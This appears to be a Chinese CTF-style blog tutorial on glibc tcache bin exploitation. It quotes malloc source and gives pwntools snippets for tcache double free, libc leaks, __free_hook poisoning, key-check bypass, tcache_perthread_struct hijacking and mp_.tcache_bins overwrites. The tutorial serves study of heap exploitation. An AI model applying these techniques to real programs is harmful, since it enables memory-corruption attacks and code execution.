tcachebinattack

C12en

2023-02-25

heap

在libc2.26以后加入了tcachebins 其与fastbin同为单向链表作用类似于一个缓存区当用户申请chunk时优先在tcache中查找如果无果才进入分配区

#if USE_TCACHE
/* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */
# define TCACHE_MAX_BINS        64
# define MAX_TCACHE_SIZE    tidx2usize (TCACHE_MAX_BINS-1)

/* Only used to pre-fill the tunables.  */
# define tidx2usize(idx)    (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)

/* When "x" is from chunksize().  */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size.  */
# define usize2tidx(x) csize2tidx (request2size (x))

/* With rounding and alignment, the bins are...
   idx 0   bytes 0..24 (64-bit) or 0..12 (32-bit)
   idx 1   bytes 25..40 or 13..20
   idx 2   bytes 41..56 or 21..28
   etc.  */

/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7
#endif

tcache的定义如上简单来说就是一个范围0x10-0x408大小(用户申请大小)的单向链表一共可以存储64个chunk 每个链表可以存储7个chunk

// 从 tcache list 中获取内存
  if (tc_idx < mp_.tcache_bins // 由 size 计算的 idx 在合法范围内
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL) // 该条 tcache 链不为空
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif
  // 进入与无 tcache 时类似的流程
  if (SINGLE_THREAD_P)
    {
      victim = _int_malloc (&main_arena, bytes);
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
              &main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }

当用户从tcache中申请内存的时候并非是和fastbin一样通过__int_malloc函数来实现

而是通过专用的**tcache_get()**函数其调用优先度高于fastbin 当有合适大小的chunk被申请时如果tcache满足条件那么优先从tcache中申请

libc2.26以及老版本的2.27

tcache最早于2.26诞生但是2.26的glibc由于是过渡版本 glibc-all-in-one下载不到我在其他渠道下载到了glibc2.26并没有符号表所以不好演示自己尝试编译了glibc但是最后以失败告终好在2.26和老版本的2.27有着同样的漏洞所以这里我们一概而论

这时候的tcache对于double free甚至没有检测我们直接两次释放同一个chunk 可以看到成功释放进去了

add(0x68,b'aaaa')
add(0x10,b'aaaa')
delete(0)
delete(0)
debug()

并且tcachebin对于chunk的取出也没有进行限制

add(0x68,b'aaaa')
add(0x410,b'aaaa')
add(0x10,b'aaaa')
delete(1)
show(1)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7f688abebca0-0x7f688a800000)
success("libc_addr :"+hex(libc_addr))
delete(0)
delete(0)
free_hook = libc_addr + libc.sym['__free_hook']
add(0x68,p64(free_hook))
debug()

此时已经将free_hook放入到了链表中我们尝试将其取出

add(0x68,b'aaaa')
add(0x410,b'aaaa')
add(0x10,b'aaaa')
delete(1)
show(1)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7f688abebca0-0x7f688a800000)
success("libc_addr :"+hex(libc_addr))
delete(0)
delete(0)
free_hook = libc_addr + libc.sym['__free_hook']
success("free_hook :"+hex(free_hook))
add(0x68,p64(free_hook))
add(0x68,b'aaaa')
add(0x68,b'aaaa')
debug()

并且可以看到 tcache和fastbin不同的在于其指向的是chunk的用户区首地址

高版本2.27

版本高一点的glibc-2.27引入了对于double free的检查

add(0x68,b'aaaa')
add(0x410,b'aaaa')
add(0x10,b'aaaa')
delete(1)
show(1)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7f688abebca0-0x7f688a800000)
success("libc_addr :"+hex(libc_addr))
delete(0)
delete(0)
io.recv()
io.recv()

我们还是和上一题一样这里直接两次释放chunk0 但是与之不同的是被检测出来了double free

那有没有什么可以绕过的办法呢类似fastbin一样的? 我们来看一下tcache对于double free检查机制的源码

typedef struct tcache_entry
{
  struct tcache_entry *next;  //链表指针，对应chunk中的fd字段
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;  //指向所属的tcache结构体，对应chunk中的bk字段
} tcache_entry;

对于每一个tcache都有一个key指针指向

借助这个key指针 plmalloc可以更好的对double free进行检查

size_t tc_idx = csize2tidx(size);//只要tcache不为空 并且free chunk在tcache范围中 都需要进行double free检查
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
    {
      /* Check to see if it's already in the tcache.  */
      tcache_entry *e = (tcache_entry *)chunk2mem(p);
 
      /*
        如果是这个chunk已经被放入tcache 那么key字段就已经有数据了 会被识别出来
      */
      if (__glibc_unlikely(e->key == tcache))//汇报错误信息
      {
        tcache_entry *tmp;
        LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
        for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
          if (tmp == e)
            malloc_printerr("free(): double free detected in tcache 2");
      }
 
      if (tcache->counts[tc_idx] < mp_.tcache_count)  //通过检查，放入tcahce中
      {
        tcache_put(p, tc_idx);
        return;
      }
    }

所以如果我们还想要使用tcache double free的话就只能修改key字段或者是fastbin double free

但是由于fastbin对于chunk的取出有着size域的检查相对来说不好办并且我们还需要填满tcache的对应链表才能把chunk释放进fastbin

好在更新同时带来了stash机制

要想明白这个机制的用处我们先要清楚tcachebin的设计目的是什么

在多线程的情况下 plmalloc会遇到主分配区被抢占的问题只能等待或者是申请一个非主分配区

针对这种情况 plmalloc为每个线程都涉及一个缓冲区即tcache

而stash机制就是如果用户申请一个0x60大小的chunk tcache里面没有的话就会进入分配区处理

此时如果哪个bin中含有满足条件的chunk 除了分配这一次请求之外

其会认为该线程还需要更多类似大小的chunk 为了避免下次继续重复这一步骤就会将该bin链表中的所有chunk放入到对应tcachebin的链表中

这个绕过手法存在的意义是因为高版本的tcache对于double free的检查更加严格是对比整个链表所以很难利用如果我们在fastbin中构造好fake chunk 再利用这个机制就可以继续使用tcachebinattack

话归正题开始还是2.27中的问题由于多了tcachebin 所以会优先进入tcachebin 我们还得先填满tcachebin中的一个链表才能释放chunk到fastbin

add(0x68,b'aaaa')#0
add(0x68,b'aaaa')#1
add(0x68,b'aaaa')#2
for i in range(7):
    add(0x68,b'aaaa')

add(0x10,b'aaaa')
for i in range(7):
    delete(i+3)

delete(0)
delete(1)
delete(0)
debug()

接着我们先把在tcache中的chunk全部申请回来然后再构造fake fd

add(0x68,b'aaaa')#0
add(0x68,b'aaaa')#1
add(0x68,b'aaaa')#2
for i in range(7):
    add(0x68,b'aaaa')

add(0x10,b'aaaa')
for i in range(7):
    delete(i+3)

delete(0)
delete(1)
delete(0)
for i in range(7):
    add(0x68,b'aaaa')

add(0x68,b'testtest')
debug()

在执行到最后一个add的时候 plmalloc在tcache中找不到合适的chunk 而在fastbin中找到了所以此时就会把fastbin对应的链表转移到tcache中如图所示

绕过key检查

还可以直接绕过key的检查来实现tcache的double free 只要能修改到free chunk中的内容就好了

可以看到所谓的key检查也就是在tcachebin中的chunk的bk域存入tcache_perthread_struct结构体的地址

也就是在堆基址处0x251大小的chunk

if (__glibc_unlikely(e->key == tcache))

回顾一下源码对double free的判断只有key的值等于tcache的时候才会对链表中所有的chunk进行遍历

如果我们将key值改为其他就不会进入if中

add(0x10,b'aaaa')
delete(0)
payload = p64(0)*2
edit(0,len(payload),payload)
delete(0)
debug()

如上所示我们将已经处于tcachebin中的chunk的bk域清空这样再次free的时候就没有触发double free

劫持tcache_perthread_struct结构体

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
其中 TCACHE_MAX_BINS的宏定义为
# define TCACHE_MAX_BINS   64

从源码定义中可以看到 tcache_perthread_struct主要由两部分构成

counts数组一共占用64字节每个字节对应着一个链表用来存放对应链表中存放着多少个chunk

entry指针数组则是用来存储每个链表中链表头的chunk地址一共占用8*64字节

再加上tcache_perthread_struct的chunk头的0x11字节就是0x251字节组成了堆基址的第一个chunk

这两个数组都能达到攻击效果下面来演示一下

counts数组

我们知道一个tcache链表中最多存放7个chunk 如果超过这个数就会根据size将其存放到fastbin或者是unsortedbin 而plammloc判断存放几个chunk 根据的就是count数组中对应的值如果我们将这个值修改然后再次释放对应的chunk 就可以不将其释放到tcachebin中

add(0x10,b'aaaa')#0
delete(0)
edit(0,16,p64(0)*2)
delete(0)
show(0)
io.recv()
heap_addr = u64(io.recvuntil("\x0a",drop = True )[-6:].ljust(8,b'\x00'))-0x260
success("heap_addr :"+hex(heap_addr))

首先我们duoble free一个0x10大小的chunk 这样其fd域就存放着其地址经过计算我们就可以得到堆基址

随后利用UAF 来实现任意地址写我们任意写的地址挑在tcache_perthread_struct结构体中目的是为了修改counts数组

edit(0,8,p64(heap_addr+0x10))

此时链表结构如图所示我们再次申请两个chunk

第二个chunk就指向tcache_perthread_struct结构体我们将对应0xa0链表的counts修改为7

add(0x10,b'aaaa')#1
payload = p64(0)+p8(7)
add(0x10,payload)#2

add(0x90,b'aaaa')#3
add(0x20,b'aaaa')#4
delete(3)

随后申请一个0x90大小的chunk 对应着0xa0的链表 chunk4则是用来防止合并

释放chunk3以后会发现其成功进入了unsortedbin

于是我们就达到了攻击效果

entry指针数组

我们先来随便释放几个不同size的chunk 来观察一下entry数组的情况

可以看到其指向的是chunk的用户地址而非首地址

接着我们将0x20链表的entry指针修改一下然后再次申请0x10大小的chunk 看会分配给我们什么

add(0x10,b'aaaa')
add(0x20,b'aaaa')
add(0x30,b'aaaa')
delete(0)
delete(1)
delete(2)
debug()
add(0x10,b'aaaa')
pause()

修改的地址调整为tcache_perthread_struct结构体的实际空间首地址

可以看到成功任意申请到了tcache_perthread_struct的空间还有一点可以注意的

按照原本的源码逻辑对应的地址是已经存在chunk头的所以申请并不会重新覆写因为在实际任意地址写的时候不用担心chunk头对地址的影响

mp_.tcache_bins

通过覆盖mp_.tcache_bins的值即可扩大tcachebin的容纳范围

if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      victim = tcache_get (tc_idx);
      return tag_new_usable (victim);
    }

可以看到如果tc_idx 小于 mp_.tcache_bins的话就会被认为是可以被释放到tcachebin中

通常适用于largebin attack配合

下面是索引方式通过计算偏移可以获得